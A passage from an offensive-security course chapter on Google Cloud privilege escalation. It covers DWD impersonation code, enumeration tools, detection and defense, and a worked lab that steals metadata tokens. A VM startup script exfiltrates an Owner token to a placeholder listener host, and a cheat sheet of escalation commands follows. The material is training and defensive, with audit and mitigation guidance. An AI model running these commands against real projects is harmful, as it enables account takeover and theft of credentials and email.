Domain-Wide Delegation (DWD) — GCP -> Workspace
Section titled “Domain-Wide Delegation (DWD) — GCP -> Workspace”This is the crown-jewel pivot. Domain-wide delegation lets a service account impersonate any human user in the Workspace domain for a chosen set of OAuth scopes — reading their Gmail, their Drive, the directory, everything — without their consent. It’s configured by a Workspace Super Admin who authorises an SA’s OAuth client ID for specific scopes.
flowchart TD
SA["Service account with DWD enabled<br/>(client_id authorised in Workspace Admin)"] --> JWT["Craft JWT: sub = victim@example.com,<br/>scope = gmail.readonly / admin.directory..."]
JWT --> TOK["Exchange at oauth2.googleapis.com/token"]
TOK --> IMP["Access token acting AS victim@example.com"]
IMP --> GMAIL["Read victim's Gmail / Drive"]
IMP --> DIR["Enumerate/modify the whole directory<br/>if admin scopes were granted"]
If you compromise an SA that has DWD configured (or you can create a key for it), and it’s authorised for juicy scopes like https://mail.google.com/ or https://www.googleapis.com/auth/admin.directory.user, you can impersonate arbitrary employees — including a super admin — and effectively own the whole organisation’s data. This is why DWD is one of the highest-severity findings in any GCP audit, and why becoming a DWD-enabled SA is the endgame of many real GCP attack chains. Blue team: inventory every DWD grant (Workspace Admin -> Security -> API Controls -> Domain-wide delegation), scope them minimally, and prefer per-user OAuth or the newer, more constrained delegation controls.
Concretely, once you hold a key (or token) for a DWD SA, libraries like google-auth let you set sub to the victim:
from google.oauth2 import service_accountcreds = service_account.Credentials.from_service_account_file( "dwd-sa.json", scopes=["https://www.googleapis.com/auth/gmail.readonly"], subject="ceo@example.com", # impersonate this human)# Build the Gmail API client with `creds` and read the CEO's inbox.Part 12: Automated Enumeration & Escalation Tooling
Section titled “Part 12: Automated Enumeration & Escalation Tooling”Doing all of Part 8-11 by hand is fine for learning and for surgical work, but on a real engagement you industrialise it. Teach-from-scratch the tools that matter for GCP.
ScoutSuite (multi-cloud auditor, GCP module)
Section titled “ScoutSuite (multi-cloud auditor, GCP module)”What it is: an open-source, read-only, multi-cloud security auditor (introduced in Chapter 3 for AWS). Its GCP provider pulls the full config of a project/org via the APIs and produces an offline HTML report flagging misconfigurations — public buckets, over-privileged SAs, default SAs with keys, open firewall rules, unencrypted disks.
pip3 install scoutsuite# Run against a project using your active gcloud creds:scout gcp --user-account --project-id eng-prod-1234# Or with an SA key:scout gcp --service-account key.json --project-id eng-prod-1234# Output: scoutsuite-report/gcp-<id>.html (open in a browser)Blue-team usage: ScoutSuite is equally a defender’s tool — run it periodically to baseline drift.
GCP-IAM-Privilege-Escalation / gcp_enum-style scripts
Section titled “GCP-IAM-Privilege-Escalation / gcp_enum-style scripts”Rhino Security’s GCP privilege-escalation research ships proof-of-concept scripts that, given a credential, enumerate which of the error-prone privesc permissions you hold (using testIamPermissions in bulk) and, in a separate exploit script, walk the chosen path. The methodology matters more than any single script: enumerate every permission you hold, match it against the known-dangerous set, pick the quietest viable primitive.
Other tools worth knowing
Section titled “Other tools worth knowing”| Tool | Purpose |
|---|---|
| ScoutSuite | Full read-only config audit + HTML report (GCP/AWS/Azure) |
| GCPBucketBrute | Unauthenticated/authenticated GCS bucket discovery + permission checks |
| gcloud recursive-descent scripts | for p in $(gcloud projects list ...); do get-iam-policy ...; done — your own quick sweeps |
| Prowler (GCP support) | CIS-benchmark-style checks, findings as CSV/JSON |
| hayat / gcp_scanner (Google’s own) | Google-published GCP resource/credential scanner |
| Cartography | Graphs GCP (and other) assets into Neo4j for attack-path queries |
A word on discipline: every one of these hits real APIs and shows up in Cloud Audit Logs. On an authorised engagement that’s fine; understand that “enumeration” is not invisible in GCP — list/get/testIamPermissions at scale is itself a detectable pattern (Part 13).
Part 13: Detection & Defense Angle
Section titled “Part 13: Detection & Defense Angle”Everything above leaves traces, and everything above has a countermeasure. This consolidated part is the blue-team half of the chapter.
Cloud Audit Logs — the source of truth
Section titled “Cloud Audit Logs — the source of truth”GCP records three log streams; know which captures what:
| Log type | Captures | On by default? |
|---|---|---|
| Admin Activity | Config/write changes: SetIamPolicy, create/delete VM, create SA key | Yes, always on, can’t disable |
| Data Access | Reads of data & config: storage.objects.get, get-iam-policy, most enumeration | No (except BigQuery) — must be enabled |
| System Event | Google-initiated actions (e.g. live migration) | Yes |
The critical gap attackers rely on: Data Access logs are off by default. All of the read-heavy enumeration in Part 8 (get-iam-policy, list, testIamPermissions, metadata reads, bucket reads) is invisible unless the org explicitly enabled Data Access logging. Blue-team priority #1: enable Data Access audit logs (at least ADMIN_READ and DATA_READ) org-wide, and route all logs to a centralised, immutable sink.
High-signal events to alert on (these are the loud escalation moves from Parts 9-10):
- SetIamPolicy adding roles/owner, roles/editor, or *TokenCreator / *ActAs- google.iam.admin.v1.CreateServiceAccountKey (new SA key minted)- GenerateAccessToken / SignJwt / SignBlob at unusual volume (impersonation)- compute.instances.insert with a privileged SA + startup-script- cloudfunctions.functions.create / run.services.create with a non-default SA- setCommonInstanceMetadata / instances.setMetadata modifying ssh-keys- Any org-level binding change / Access management for Azure-style elevation- Anomalous access-token use from a new IP/ASN for a service accountPreventive controls (stop the primitive existing)
Section titled “Preventive controls (stop the primitive existing)”flowchart LR
A["Org Policy Service"] --> B["iam.disableServiceAccountKeyCreation<br/>(kill static keys)"]
A --> C["iam.automaticIamGrantsForDefaultServiceAccounts<br/>(no auto-Editor default SA)"]
A --> D["iam.allowedPolicyMemberDomains<br/>(block allUsers / external members)"]
A --> E["storage.publicAccessPrevention<br/>(no public buckets)"]
A --> F["compute.vmExternalIpAccess / requireOsLogin"]
- Org Policy constraints are the strongest preventive layer because they apply top-down across the whole hierarchy:
iam.disableServiceAccountKeyCreation(removes the #1 leak),iam.allowedPolicyMemberDomains(blocksallUsers/allAuthenticatedUsersand foreign identities),storage.publicAccessPrevention,iam.automaticIamGrantsForDefaultServiceAccounts(stops the Editor-default-SA footgun), andconstraints/iam.disableServiceAccountKeyUpload. - Least privilege on service accounts — never attach the default SA; create a purpose-built SA per workload with only the roles it needs and minimal scopes; prefer Workload Identity Federation (short-lived, keyless) over SA keys entirely.
- IAM Recommender & Policy Analyzer — Google’s own tooling that flags unused permissions and answers “who can access what” — use it to shrink roles to observed usage.
- VPC Service Controls — build a service perimeter so that even a stolen token can’t exfiltrate BigQuery/GCS data to an external project; this specifically breaks the “pull token, read all the data, exfil” chain.
- Security Command Center (SCC) — GCP’s native CSPM/CNAPP: surfaces public buckets, over-privileged SAs, open firewall rules, and (in premium) threat detections built on Event Threat Detection over your audit logs.
- Constrain Domain-Wide Delegation — audit and minimise every DWD grant; it is the highest-impact identity risk in a Workspace-attached org.
Detection tooling
Section titled “Detection tooling”- Event Threat Detection (SCC Premium) ships rules for exactly the events above (anomalous IAM grant, SA self-investigation, brute-force, exfiltration).
- Chronicle / SIEM ingesting the centralised log sink lets you write your own detections (e.g. “an SA that never mints tokens suddenly calls
GenerateAccessTokenfor a different SA”). - Forseti / Config Validator / Cloud Asset Inventory for continuous policy-as-code checks and point-in-time asset snapshots to diff against.
Part 14: Full Worked Lab — Enumerate & Escalate in an Authorised Project
Section titled “Part 14: Full Worked Lab — Enumerate & Escalate in an Authorised Project”This ties Parts 4-10 into one reproducible run against a project you own or are authorised to test (spin up a free-tier project, or use GCPGoat). Scenario: you’ve landed a shell on a GCE VM via a web-app RCE and want to go from “shell on a box” to “control of the project,” documenting every step as you would in a report.
Step 0 — confirm you’re on a GCP VM and grab identity.
$ curl -s -H "Metadata-Flavor: Google" \ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/emaildefault-compute-sa@ctf-lab-4471.iam.gserviceaccount.com
$ curl -s -H "Metadata-Flavor: Google" \ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopeshttps://www.googleapis.com/auth/cloud-platform # <-- full scope, promisingStep 1 — pull the token and check who it is.
$ TOKEN=$(curl -s -H "Metadata-Flavor: Google" \ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token \ | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
$ curl -s "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN"{ "azp": "1049...", "aud": "1049...", "scope": "https://www.googleapis.com/auth/cloud-platform", "exp": "1712712345", "email": "default-compute-sa@ctf-lab-4471.iam.gserviceaccount.com", "email_verified": "true"}Step 2 — configure gcloud with the stolen token (or use curl directly).
# Fastest: export the token so gcloud/SDKs pick it up, or activate it:$ gcloud config set project ctf-lab-4471$ export CLOUDSDK_AUTH_ACCESS_TOKEN="$TOKEN" # gcloud uses this tokenStep 3 — what am I allowed to do? (the decisive step).
$ gcloud projects test-iam-permissions ctf-lab-4471 \ --permissions=iam.serviceAccounts.getAccessToken,iam.serviceAccounts.actAs,\iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy,\compute.instances.create,compute.instances.setMetadata,\cloudfunctions.functions.create --format="value(permissions)"iam.serviceAccounts.actAscompute.instances.createcompute.instances.setMetadataWe don’t hold setIamPolicy or getAccessToken directly — but we DO hold actAs + compute.instances.create. That’s the Part 10 primitive.
Step 4 — find a more-privileged SA to target.
$ gcloud iam service-accounts list --format="table(email)"EMAILdefault-compute-sa@ctf-lab-4471.iam.gserviceaccount.comterraform-deployer@ctf-lab-4471.iam.gserviceaccount.com # <-- likely Owner/Editor
$ gcloud projects get-iam-policy ctf-lab-4471 \ --flatten="bindings[].members" \ --filter="bindings.members:terraform-deployer" \ --format="table(bindings.role)"ROLEroles/owner # confirmed: OwnerStep 5 — abuse actAs: create a VM running AS the Owner SA and exfil its token.
$ gcloud compute instances create escalation-vm --zone=us-central1-a \ --service-account=terraform-deployer@ctf-lab-4471.iam.gserviceaccount.com \ --scopes=cloud-platform \ --metadata=startup-script='#!/bin/bashT=$(curl -s -H "Metadata-Flavor: Google" \ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token \ | python3 -c "import sys,json;print(json.load(sys.stdin)[\"access_token\"])")curl -s -X POST --data "token=$T" https://YOUR-LISTENER.example/exfil'Created [.../instances/escalation-vm].NAME ZONE MACHINE_TYPE STATUSescalation-vm us-central1-a n1-standard-1 RUNNINGStep 6 — receive the Owner SA’s token, become Owner, prove it.
# On your listener you now have terraform-deployer's ya29 token. Use it:$ OWNER_TOKEN="ya29.c.b0Aa..."$ curl -s -H "Authorization: Bearer $OWNER_TOKEN" \ -H "Content-Type: application/json" \ "https://cloudresourcemanager.googleapis.com/v1/projects/ctf-lab-4471:getIamPolicy" \ | python3 -m json.tool | head# ...and, because this SA is Owner, grant your own persistent access:$ CLOUDSDK_AUTH_ACCESS_TOKEN="$OWNER_TOKEN" gcloud projects add-iam-policy-binding \ ctf-lab-4471 --member="user:you@example.com" --role="roles/owner"Step 7 — clean up (you always do, on an authorised test).
$ gcloud compute instances delete escalation-vm --zone=us-central1-a --quiet# and remove any bindings/keys you added, documenting each in the report.What the report should say: the default Compute SA carried cloud-platform scope; the project allowed actAs on an Owner-privileged deployer SA to a low-priv principal; result: full project takeover from a single web RCE. Fixes: strip the default SA, set iam.automaticIamGrantsForDefaultServiceAccounts, remove broad actAs, and enable Data Access logs so Steps 3-5 aren’t invisible.
Part 15: Common Pitfalls & Gotchas
Section titled “Part 15: Common Pitfalls & Gotchas”- Forgetting scopes. A token can hold
cloud-platformin IAM but be scope-limited to read-only storage. Always pull/scopes(VM) ortokeninfo(raw token) before concluding a token is weak — or strong. - Project ID vs project number vs display name. The default SA email uses the number; IAM conditions and some commands want the ID. Mixing them yields confusing 403/404s.
- Enumerating only the current project. Effective permissions are inherited from folder and org. Always
get-iam-policyup the tree — a low-priv project role can hide a fat org binding (and vice-versa: your project 403 might be an org Deny). - The two identity systems. GCP Org Admin != Workspace Super Admin. A
graph/admin.directoryneed lives in Workspace; a resource need lives in Cloud IAM. Grabbing the wrong-audience token is the top beginner mistake. - Assuming enumeration is silent. It isn’t if Data Access logs are on. Conversely, defenders who think they’d see recon often haven’t enabled those logs — check before you rely on either assumption.
- Missing the
Metadata-Flavor: Googleheader. Every metadata call needs it; SSRF that can’t set headers won’t reach the token endpoint. - Treating
allAuthenticatedUsersas safe. It is not internal-only — it’s any Google account on earth, including a throwaway Gmail. - Leaving artifacts behind. SA keys, VMs, and IAM bindings you create are durable and logged. On authorised tests, inventory and remove everything; document each.
Part 16: Final Revision / Summary
Section titled “Part 16: Final Revision / Summary”- GCP is a strict tree: organization -> folder -> project -> resource, and IAM policy is inherited down it. Always enumerate policy at every level.
- IAM = members + roles + bindings + policies, pure allow-union model. Basic roles (
owner/editor/viewer) are broad and dangerous;allUsers/allAuthenticatedUsersare public. - The service account is the unit of privilege. Every escalation reduces to becoming a more-privileged SA via one of three doors: static key, impersonation (
getAccessToken/signJwt), or actAs + run (attach SA to VM/Function/Build). - The metadata server (
169.254.169.254, headerMetadata-Flavor: Google) hands out the attached SA’s OAuth token — the crown jewel after SSRF/RCE. Effective power = IAM roles n token scopes. - Enumeration flow: who am I (tokeninfo) -> what can I see (projects/org) -> policy at every level -> testIamPermissions -> pick the quietest escalation primitive -> loot -> lateral.
- Escalation primitives:
getAccessToken,signJwt,serviceAccountKeys.create,setIamPolicy,actAs+ (compute.instances.create/cloudfunctions.create/ Cloud Build / Deployment Manager),setMetadata(ssh-keys). - Lateral movement spreads via shared SAs, org/folder inheritance, and — most dangerously — Domain-Wide Delegation into Google Workspace, letting a compromised SA impersonate any human.
- Defense: enable Data Access audit logs (they’re off by default!), alert on
SetIamPolicy/key-creation/impersonation, apply Org Policy constraints (disable SA keys, block public members, no auto-Editor default SA), use Workload Identity Federation, VPC Service Controls, and SCC, and lock down DWD.
Part 17: Cheat Sheet / Quick Reference
Section titled “Part 17: Cheat Sheet / Quick Reference”### IDENTITY & CONTEXTgcloud auth list # who am Igcloud config list # account/project/regioncurl -s "https://www.googleapis.com/oauth2/v3/tokeninfo?access_token=$TOKEN" # whose token + scopesgcloud projects list # visible projectsgcloud organizations list # visible org
### METADATA SERVER (on a GCE/GKE/Cloud Run/Func workload)H="Metadata-Flavor: Google"; M=http://169.254.169.254/computeMetadata/v1curl -s -H "$H" $M/instance/service-accounts/default/emailcurl -s -H "$H" $M/instance/service-accounts/default/scopescurl -s -H "$H" $M/instance/service-accounts/default/token # crown jewelcurl -s -H "$H" $M/project/attributes/ssh-keyscurl -s -H "$H" "$M/instance/service-accounts/default/identity?audience=URL"
### IAM ENUMERATION (do at EVERY level)gcloud projects get-iam-policy PROJECT --format=jsongcloud resource-manager folders get-iam-policy FOLDER_IDgcloud organizations get-iam-policy ORG_IDgcloud projects get-iam-policy PROJECT --flatten="bindings[].members" \ --format="table(bindings.role,bindings.members)" \ --filter="bindings.members:allUsers OR bindings.members:allAuthenticatedUsers"
### "WHAT CAN I DO?" (no action triggered)gcloud projects test-iam-permissions PROJECT --permissions=P1,P2,...
### SERVICE ACCOUNTSgcloud iam service-accounts listgcloud iam service-accounts keys list --iam-account=SAgcloud iam service-accounts keys create key.json --iam-account=SA # long-lived keygcloud iam service-accounts get-access-token --impersonate-service-account=SA # short-livedgcloud <cmd> --impersonate-service-account=SA # act as SA inline
### ESCALATION MOVESgcloud projects add-iam-policy-binding PROJECT --member=user:X --role=roles/owner # setIamPolicygcloud compute instances create v --service-account=SA --scopes=cloud-platform \ --metadata=startup-script='...pull+exfil token...' # actAs + creategcloud compute instances add-metadata VM --zone=Z --metadata=ssh-keys="u:KEY" # setMetadatagcloud functions deploy fn --service-account=SA --trigger-http ... # actAs via Functions
### STORAGE / DATA (unauth + auth)curl -s -o /dev/null -w "%{http_code}\n" https://storage.googleapis.com/BUCKET # 200/403/404gsutil ls gs://BUCKET ; gsutil iam get gs://BUCKETgcloud secrets list ; gcloud secrets versions access latest --secret=NAMEbq ls ; bq query --use_legacy_sql=false 'SELECT ...'
### AUDIT (defender)gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit=20gcloud logging read 'protoPayload.methodName:"CreateServiceAccountKey"' --limit=20gcloud org-policies list --project=PROJECTEscalation-permission memory table:
| If you hold… | You can… |
|---|---|
iam.serviceAccounts.getAccessToken on SA | Become that SA (short-lived) |
iam.serviceAccounts.signJwt on SA | Forge JWT -> become SA |
iam.serviceAccountKeys.create on SA | Long-lived key -> become SA |
*.setIamPolicy (project/folder/org/resource) | Grant yourself a bigger role |
iam.serviceAccounts.actAs + compute.instances.create | Run code as SA on a VM |
iam.serviceAccounts.actAs + cloudfunctions.functions.create | Run code as SA in a Function |
cloudbuild.builds.create | Run as the (often-Editor) Cloud Build SA |
compute.instances.setMetadata | Inject SSH key -> shell on VM |
| DWD-enabled SA + admin scopes | Impersonate any Workspace user |
Part 18: Practice Labs & Resources
Section titled “Part 18: Practice Labs & Resources”Train each skill in this chapter on purpose-built, legal targets:
- GCPGoat (Rhino Security / INE) — a deliberately-vulnerable GCP deployment (Terraform) that reproduces exactly the SA-impersonation, actAs, public-bucket and privesc paths in Parts 8-11. The best single hands-on for this chapter.
- thunder-ctf (community) — a set of escalating GCP CTF levels (metadata token theft, Cloud Functions abuse, Deployment Manager, storage) you solve with
gcloud; mirrors the primitives in Parts 9-10. - CloudGoat has an AWS focus, but its GCP-analogue community forks and flAWS-style GCP challenges are worth chaining for cross-cloud fluency (contrast with Chapter 2’s AWS metadata attacks).
- Rhino Security Labs “Privilege Escalation in Google Cloud Platform” blog + the
GCP-IAM-Privilege-Escalationrepo — the canonical write-up and PoC scripts behind Parts 9-10; read the methodology, not just the commands. - GCPBucketBrute — practise unauthenticated/authenticated bucket discovery (Part 7) against your own test buckets with varied ACLs (
allUsers,allAuthenticatedUsers, private). - HackTricks Cloud (GCP section) and Google’s own “GCP security best practices” / CIS GCP Benchmark — cross-reference every escalation with its defensive control from Part 13.
- Build-your-own range: a free-tier project where you deliberately (a) attach the default Editor SA with
cloud-platformscope, (b) grant a low-priv useractAson an Owner SA, (c) make a public bucket, then run ScoutSuite and the Part 14 lab end-to-end and watch which steps do and don’t appear in audit logs once you toggle Data Access logging.
Practice questions:
- You pull a metadata token whose
tokeninfoshowsscope: devstorage.read_onlybut the SA hasroles/editor. Can you create a VM with it? Why or why not — and what single VM-creation flag would have changed the answer if you were creating the box? - You hold
iam.serviceAccounts.actAson an Owner SA but notcompute.instances.create,cloudfunctions.functions.create, orrun.services.create. List two other “run as” services from Part 10 you could try, and what permission each needs. gcloud projects get-iam-policyon your current project shows you onlyroles/viewer, yet you can create SA keys. Where is that permission most likely coming from, and which command would confirm it?- Explain precisely why enabling
iam.disableServiceAccountKeyCreationandiam.automaticIamGrantsForDefaultServiceAccountstogether would have broken the Part 14 attack chain — and which step each one blocks. - You compromise an SA key and discover the SA is authorised for Domain-Wide Delegation with scope
https://www.googleapis.com/auth/admin.directory.user. Describe the exact impact and the single Workspace-admin action that would neutralise it.
This chapter mapped Google Cloud from the resource hierarchy down to the individual token, with the service account as the throughline of every attack. The next chapter leaves the managed-cloud identity planes behind and drops a level in the stack — into Docker Security, Image Scanning (Trivy) & Container Breakouts — where the boundary you attack is the container isolation itself rather than the IAM policy around it.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.